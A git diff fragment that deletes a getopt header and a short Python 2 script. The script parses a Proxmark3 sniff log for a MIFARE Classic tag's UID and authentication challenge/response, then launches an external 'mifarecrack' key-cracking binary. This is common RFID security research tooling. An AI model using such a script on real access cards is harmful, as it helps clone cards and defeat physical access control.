-// damage or loss of business that this software may cause. -// -/////////////////////////////////////////////////////////////////////////////// - -#ifndef XGETOPT_H -#define XGETOPT_H - -extern int optind, opterr; -extern char *optarg; - -int getopt(int argc, char *argv[], char *optstring); - -#endif //XGETOPT_H diff --git a/tools/proxmark3_parser.py b/tools/proxmark3_parser.py deleted file mode 100644 index 4ca95e6..0000000 --- a/tools/proxmark3_parser.py +++ /dev/null @@ -1,43 +0,0 @@ -#!/usr/bin/python - -# Original source: proxmark3.org community forum - -import sys -import os -import string - -try: - file= open(sys.argv[1]) -except: - print - print '\tusage: mifarecrack.py ' - print - sys.exit(True) - -lines= file.readlines() -uid= '' - -gotone= False -for i in range(len(lines)): - if not uid and string.find(lines[i],': 93 20') > 0: - uid= lines[i + 1][20:34] - print - print 'Found TAG UID:', uid - if string.find(lines[i],': 60') > 0 or string.find(lines[i],': 61') > 0: - gotone= True - tag_challenge= lines[i+1] - reader_challenge_response= lines[i+2] - tag_response= lines[i+3] - break -if not gotone: - print 'No crypto exchange found!' - sys.exit(True) - -crackstring= './mifarecrack '+ uid - -# now process challenge/response -crackstring += ' ' + tag_challenge[20:34] -crackstring += ' ' + reader_challenge_response[20:50] -crackstring += ' ' + tag_response[20:34] -print 'Executing ', crackstring -os.execv('./mifarecrack',string.split(crackstring))